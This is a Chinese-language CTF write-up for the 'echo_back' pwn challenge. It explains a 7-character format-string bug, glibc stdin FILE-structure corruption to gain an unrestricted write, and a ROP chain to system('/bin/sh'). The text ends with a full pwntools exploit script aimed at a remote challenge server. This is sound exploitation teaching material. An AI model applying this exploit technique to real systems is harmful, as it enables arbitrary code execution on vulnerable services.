攻防世界PWN之echo_back题解
echo_back
首先,检查一下程序的保护机制,发现保护全开
然后,我们用IDA分析一下,
在功能2有一个明显的格式化输出字符串漏洞
但是,我们能够输入的字符串长度最多为7个字符
好啦,不管怎么说,首先得用这个漏洞泄露一些地址
当我们要执行printf时,我们发现,距离当前栈顶13个位置处,有__libc_start_main+F0的地址,但是,这不是说要输出它的值就用%13$p,我们得从13开始,不断加1,测试,最终我们得到了这个数据的位置为%19$p,于是,我们就可以泄露__libc_start_main+F0的地址了,然后就能计算出libc的加载地址
于是,我们就先泄露它,算出一些需要用到的地址
- echoback('%19$p')
- sh.recvuntil('0x')
- #泄露__libc_start_main的地址
- __libc_start_main = int(sh.recvuntil('-').split('-')[0],16) - 0xF0
- #得到libc加载的基地址
- libc_base = __libc_start_main - libc.sym['__libc_start_main']
- system_addr = libc_base + libc.sym['system']
- binsh_addr = libc_base + libc.search('/bin/sh').next()
同理,我们泄露出main的地址,计算出程序的加载地址以及pop rdi的地址,用于给system传参
- #泄露main的地址
- echoback('%13$p')
- sh.recvuntil('0x')
- main_addr = int(sh.recvuntil('-').split('-')[0],16) - 0x9C
- elf_base = main_addr - main_s_addr
- pop_rdi = elf_base + pop_s_rdi
接下来,我们直接想到,用格式化字符串漏洞修改main函数的返回地址,也就是修改%19$p处的数据
但是,我们知道,%19$n不可行,因为%19$n是把%19$p的数据当成一个地址,然后往那个地址里写数据,也就是说,它会把如图0x7F8854AD7830当成一个地址,往这个地址里写数据,而我们希望的是它往如图0x7FFDCBDF94A8地址处写数据,那么,我们首先得暴露出它的值,但是,栈里面也没有这个数据啊。然而,却有main函数的rbp数据
我们只需泄露main的rbp的值,然后加8就得到了存放(main函数返回地址)的位置
- echoback('%12$p')
- sh.recvuntil('0x')
- #泄露main的ebp的值
- main_ebp = int(sh.recvuntil('-').split('-')[0],16)
- #泄露存放(main返回地址)的地址
- main_ret = main_ebp + 0x8
接下来,我们想构造payload,往main_ret处写数据,但是光一个p64(main_ret)包装就占了8个字符,而我们最多允许输入7个字符。这些,我们想到了功能1,setName,它不是白放那里的,它有着重要的作用。
它也可以接受7个字符,我们可以把main_ret存入a1中,虽然只允许7个字符,p64()有8字节,但是末尾一般都是0,由于是低位存储,也就是数据的前导0被舍弃,没有影响,除非那个数据8字节没有前导0
然后,我们发现,%16$p输出的就是a1的数据。
于是,我们就可以先setName(p64(addr)),然后利用%16$n来对addr处写数据
然而,我们这样来直接写main_ret处的数据,还是不行,因为我们构造的payload始终长度都会大于7
于是,我们就需要用到一个新知识了,为了绕过7个字符的限制,我们换一个思路,我们利用printf漏洞先去攻击scanf内部结构,然后我们就可以直接利用scanf往目标处输入数据,这就需要去了解scanf的源码了。
- _IO_FILE *stdin = (FILE *) &_IO_2_1_stdin_;
- _IO_FILE *stdout = (FILE *) &_IO_2_1_stdout_;
- _IO_FILE *stderr = (FILE *) &_IO_2_1_stderr_;
首先,scanf最终是从stdin中读取数据,而stdin是一个FILE (_IO_FILE) 结构体指针。我们再来看看FILE的结构
- /* The tag name of this struct is _IO_FILE to preserve historic
- C++ mangled names for functions taking FILE* arguments.
- That name should not be used in new code. */
- struct _IO_FILE
- {
- int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
- /* The following pointers correspond to the C++ streambuf protocol. */
- char *_IO_read_ptr; /* Current read pointer */
- char *_IO_read_end; /* End of get area. */
- char *_IO_read_base; /* Start of putback+get area. */
- char *_IO_write_base; /* Start of put area. */
- char *_IO_write_ptr; /* Current put pointer. */
- char *_IO_write_end; /* End of put area. */
- char *_IO_buf_base; /* Start of reserve area. */
- char *_IO_buf_end; /* End of reserve area. */
- /* The following fields are used to support backing up and undo. */
- char *_IO_save_base; /* Pointer to start of non-current get area. */
- char *_IO_backup_base; /* Pointer to first valid character of backup area */
- char *_IO_save_end; /* Pointer to end of non-current get area. */
- struct _IO_marker *_markers;
- struct _IO_FILE *_chain;
- int _fileno;
- int _flags2;
- __off_t _old_offset; /* This used to be _offset but it's too small. */
- /* 1+column number of pbase(); 0 is unknown. */
- unsigned short _cur_column;
- signed char _vtable_offset;
- char _shortbuf[1];
- _IO_lock_t *_lock;
- #ifdef _IO_USE_OLD_IO_FILE
- };
让我们再看看文件的读取过程_IO_new_file_underflow 这个函数最终调用了_IO_SYSREAD系统调用来读取文件。在这之前,它做了一些处理
- int
- _IO_new_file_underflow (FILE *fp)
- {
- ssize_t count;
- /* C99 requires EOF to be "sticky". */
- if (fp->_flags & _IO_EOF_SEEN)
- return EOF;
- if (fp->_flags & _IO_NO_READS)
- {
- fp->_flags |= _IO_ERR_SEEN;
- __set_errno (EBADF);
- return EOF;
- }
- if (fp->_IO_read_ptr < fp->_IO_read_end)
- return *(unsigned char *) fp->_IO_read_ptr;
- if (fp->_IO_buf_base == NULL)
- {
- /* Maybe we already have a push back pointer. */
- if (fp->_IO_save_base != NULL)
- {
- free (fp->_IO_save_base);
- fp->_flags &= ~_IO_IN_BACKUP;
- }
- _IO_doallocbuf (fp);
- }
- /* FIXME This can/should be moved to genops ?? */
- if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED))
- {
- /* We used to flush all line-buffered stream. This really isn't
- required by any standard. My recollection is that
- traditional Unix systems did this for stdout. stderr better
- not be line buffered. So we do just that here
- explicitly. --drepper */
- _IO_acquire_lock (_IO_stdout);
- if ((_IO_stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
- == (_IO_LINKED | _IO_LINE_BUF))
- _IO_OVERFLOW (_IO_stdout, EOF);
- _IO_release_lock (_IO_stdout);
- }
- _IO_switch_to_get_mode (fp);
- /* This is very tricky. We have to adjust those
- pointers before we call _IO_SYSREAD () since
- we may longjump () out while waiting for
- input. Those pointers may be screwed up. H.J. */
- fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
- fp->_IO_read_end = fp->_IO_buf_base;
- fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
- = fp->_IO_buf_base;
- count = _IO_SYSREAD (fp, fp->_IO_buf_base,
- fp->_IO_buf_end - fp->_IO_buf_base);
- if (count <= 0)
- {
- if (count == 0)
- fp->_flags |= _IO_EOF_SEEN;
- else
- fp->_flags |= _IO_ERR_SEEN, count = 0;
- }
- fp->_IO_read_end += count;
- if (count == 0)
- {
- /* If a stream is read to EOF, the calling application may switch active
- handles. As a result, our offset cache would no longer be valid, so
- unset it. */
- fp->_offset = _IO_pos_BAD;
- return EOF;
- }
- if (fp->_offset != _IO_pos_BAD)
- _IO_pos_adjust (fp->_offset, count);
- return *(unsigned char *) fp->_IO_read_ptr;
- }
让我们,看看代码的第58行(标红处),系统调用,向fp->_IO_buf_base处写入读取的数据,并且长度为 fp->_IO_buf_end - fp->_IO_buf_base
要是我们能够修改_IO_buf_base和_IO_buf_end 那么我们不就可以实现任意位置无限制长度的写数据了吗?
我们首先需要定位到_IO_2_1_stdin_结构体在内存中的位置,然后再定位到_IO_buf_base 的位置,_IO_buf_base位于结构体中的第8个,所以,它的_IO_buf_base_addr = _IO_buf_base + 0x8 * 7
- _IO_2_1_stdin_ = libc.symbols['_IO_2_1_stdin_']
- _IO_2_1_stdin_addr = libc_base + _IO_2_1_stdin_
- _IO_buf_base = _IO_2_1_stdin_addr + 0x8 * 7
接下来,做什么呢?
我们先来看看_IO_buf_base的值吧
先是stdin的位置,当前位于0x7F9EA22488E0
然后是_IO_buf_base,它位于0x7F9EA22488E0 + 0x8 * 7 = 0x7F9EA2248918 ,它的值为0x7F9EA2248963 , 并且要知道,它的值相对_IO_2_1_stdin_的地址总是不变的,假如我们把_IO_buf_base的低一字节覆盖为0,那么他就变成了0x7F9EA2248900 ,也就是0x7F9EA22488E0 + 0x8 * 4处,跑到了结构体内部去了,也就是结构体中的第5个数据处,也就是_IO_write_base处,并且由于_IO_buf_end没变,那么我们可以从0x7F9EA2248900处向后输入0x64-0x00 = 0x64个字符,那么我们就能把_IO_buf_base和_IO_buf_end都覆盖成关键地址,那么我们就能绕过7个字符的输入限制 _IO_buf_base
_IO_buf_end
那么,我们先来覆盖_IO_buf_base的低1字节为0
- setName(p64(_IO_buf_base))
- #覆盖_IO_buf_base的低1字节为0
- echoback('%16$hhn')
接下来,我们就可以覆盖结构体里的一些数据了
对于_IO_buf_base之前的数据(_IO_write_base、_IO_write_ptr、_IO_write_end),我们最好原样的放回,不然不知道会出现什么问题,经过调试,发现它们的值都是0x83 + _IO_2_1_stdin_addr,然后接下来,我们覆盖_IO_buf_base和_IO_buf_end,
于是,我们的payload
- payload = p64(0x83 + _IO_2_1_stdin_addr)*3 + p64(main_ret) + p64(main_ret + 0x8 * 3)
- sh.sendlineafter('choice>>','2')
- sh.sendafter('length:',payload)
我们为什么在length:后面发送payload,因为这个地方用到了scanf
现在,我们得绕过一个判断,这样调用scanf输入数据时,就会往目标处输入数据
由于之前,我们覆盖结构体数据时,后面执行了这一步,使得fp->_IO_read_end += len(payload)
而getchar()的作用是使fp->_IO_read_ptr加1
由于在覆盖结构体后,scanf的后面有一个getchar,执行了一次,因此,我们还需要执行len(payload)-1次getchar(),然后接下来发送我们的rop即可获得shell
我们最终的exp脚本
- #coding:utf8
- from pwn import *
- import time
- libcpath = '/lib/x86_64-linux-gnu/libc-2.23.so'
- #sh = process('./echo_back')
- sh = remote('111.198.29.45',48430)
- elf = ELF('./echo_back')
- libc = ELF(libcpath)
- #main在elf中的静态地址
- main_s_addr = 0xC6C
- #pop rdi
- #retn
- #在elf中的静态地址
- pop_s_rdi = 0xD93
- _IO_2_1_stdin_ = libc.symbols['_IO_2_1_stdin_']
- def echoback(content):
- sh.sendlineafter('choice>>','2')
- sh.sendlineafter('length:','7')
- sh.send(content)
- def setName(name):
- sh.sendlineafter('choice>>','1')
- sh.sendafter('name:',name)
- echoback('%19$p')
- sh.recvuntil('0x')
- #泄露__libc_start_main的地址
- __libc_start_main = int(sh.recvuntil('-').split('-')[0],16) - 0xF0
- #得到libc加载的基地址
- libc_base = __libc_start_main - libc.sym['__libc_start_main']
- system_addr = libc_base + libc.sym['system']
- binsh_addr = libc_base + libc.search('/bin/sh').next()
- _IO_2_1_stdin_addr = libc_base + _IO_2_1_stdin_
- _IO_buf_base = _IO_2_1_stdin_addr + 0x8 * 7
- print 'libc_base=',hex(libc_base)
- print 'iobase=',hex(_IO_buf_base)
- #泄露main的地址
- echoback('%13$p')
- sh.recvuntil('0x')
- main_addr = int(sh.recvuntil('-').split('-')[0],16) - 0x9C
- elf_base = main_addr - main_s_addr
- pop_rdi = elf_base + pop_s_rdi
- print 'elf base=',hex(pop_rdi)
- echoback('%12$p')
- sh.recvuntil('0x')
- #泄露main的ebp的值
- main_ebp = int(sh.recvuntil('-').split('-')[0],16)
- #泄露存放(main返回地址)的地址
- main_ret = main_ebp + 0x8
- setName(p64(_IO_buf_base))
- #覆盖_IO_buf_base的低1字节为0
- echoback('%16$hhn')
- #修改_IO_2_1_stdin_结构体
- payload = p64(0x83 + _IO_2_1_stdin_addr)*3 + p64(main_ret) + p64(main_ret + 0x8 * 3)
- sh.sendlineafter('choice>>','2')
- sh.sendafter('length:',payload)
- sh.sendline('')
- #不断调用getchar()使fp->_IO_read_ptr与使fp->_IO_read_end相等
- for i in range(0,len(payload)-1):
- sh.sendlineafter('choice>>','2')
- sh.sendlineafter('length:','')
- #对目标写入ROP
- sh.sendlineafter('choice>>','2')
- payload = p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
- sh.sendafter('length:',payload)
- #这个换行最好单独发送
- sh.sendline('')
- #getshell
- sh.sendlineafter('choice>>','3')
- sh.interactive()